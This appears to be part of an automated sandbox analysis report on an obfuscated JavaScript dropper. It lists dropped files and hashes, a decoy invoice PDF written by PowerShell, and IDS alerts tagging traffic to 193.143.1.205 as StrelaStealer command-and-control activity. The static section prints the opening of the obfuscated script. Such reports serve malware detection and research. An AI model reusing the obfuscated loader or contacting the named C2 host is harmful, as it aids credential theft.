No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\042a0926-87fd-410c-961a-e59fcf1bb94f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\06612fce-eb13-40ab-8d76-80678bd41c44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\47289524-d64b-48f2-9970-628004f79c27.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b7a23faa-99db-4c08-ad7d-27e65c81d535.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16480), with CRLF line terminators
Entropy (8bit):	4.909758447366889
TrID:
File name:	2556095152538830312.js
File size:	19'834 bytes
MD5:	3647edf2fb902ffd37433be5e05984ea
SHA1:	a94bc058c21b956d9158ea799def13f23efd3184
SHA256:	aaaaeccd50b3b5328dc46d25bc2b8722e9d8185f4f4b7c68f97118964dbfb3b0
SHA512:	78f42334c08a677418ef291d81b7e99037644088deac67f67b925b176adb5a39956b531f52fa4c5186a37aa222b9abb430ee48f28b8c9732c8a5eebff09bd22a
SSDEEP:	384:NF9O8LIGSILJ0ptOoiqGdABzl24p0DLx2b6Ba0Bdx5nVeWs1sdOFOoy8bO:M8LIGSILJ0ptOoiqGdABzl24p0DLwGB/
TLSH:	4F92748CA281CA578BFD2CF9C64104AA2A56506C8BE01CC79A9B15FC7F5DF3185EC1F6
File Content Preview:	function omsmtq(){knroz=[1031,3079,5127,4103,2055,3072];var wvnpa=this[eppakhs+dupnvk+zvjtf+ncuaf+wlask+ewityp+wpkqwcf+ogcuhf](this[etfobramu+cceiauyw+umsnqkzuz+zvjtf+bypuhwgk+eppakhs+ogcuhf][uqoyn+zvjtf+wlask+dupnvk+ogcuhf+wlask+qyaqncyd+pxledxtzj+ngntiy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:58:06.641020+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49726	193.143.1.205	80	TCP
2025-01-11T02:58:06.641020+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49726	193.143.1.205	80	TCP
2025-01-11T02:58:09.096618+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49742	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:58:05.805471897 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:05.810422897 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:05.810504913 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:05.814212084 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:05.819077015 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.640928984 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.640943050 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.640949965 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641015053 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641020060 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.641026974 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641036987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641082048 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.641082048 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.641098022 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641108990 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641114950 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641124964 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.641184092 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.641184092 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.645873070 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.687041998 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.700759888 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.700772047 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.700817108 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.770167112 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770181894 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770194054 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770257950 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770268917 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770330906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.770330906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.770622969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770638943 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770649910 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770659924 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770669937 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.770721912 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.770721912 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.771435976 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.771446943 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.771456957 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.771495104 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.771507978 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.771565914 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.771612883 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.772325039 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.772336006 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.772352934 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.772362947 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.772373915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.772420883 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.772420883 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.835700035 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.835711956 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.836095095 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.879668951 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.879683018 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.879693985 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.879950047 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.898439884 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898449898 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898480892 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898540974 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898552895 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898569107 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898685932 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.898955107 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898966074 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898977041 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.898988008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899040937 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.899041891 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.899441004 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899457932 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899468899 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899480104 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899491072 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899519920 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.899519920 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.899602890 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.899940014 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899950981 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.899961948 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900079012 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900089025 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900099993 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900110960 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900124073 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.900166035 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.900166035 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.900799990 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900811911 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900823116 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900881052 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.900881052 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.900943995 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900954008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900964975 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.900975943 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901014090 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.901014090 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.901628971 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901679039 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901690006 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901727915 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.901758909 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901770115 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901781082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901787043 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.901829004 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.901829004 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.902553082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.902564049 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.902575016 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.902609110 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.902620077 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.902621031 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.902621031 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.902686119 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.924448967 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.924468040 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.924505949 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.924515963 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.924583912 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.924583912 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:06.968416929 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.968453884 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:06.968518019 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.008270979 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.008285999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.008299112 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.008327961 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.008339882 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.008402109 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.008402109 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027030945 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027043104 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027053118 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027113914 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027117968 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027128935 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027193069 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027193069 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027324915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027335882 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027347088 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027357101 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027367115 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027378082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027403116 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027403116 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027514935 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027650118 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027661085 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027671099 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027682066 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027744055 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027744055 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.027882099 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027926922 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027937889 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027973890 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.027985096 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028018951 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.028018951 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.028283119 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028294086 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028304100 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028333902 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.028362989 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.028467894 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028479099 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028489113 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028500080 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028510094 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028526068 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028537035 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.028547049 CET	80	49726	193.143.1.205	192.168.2.7
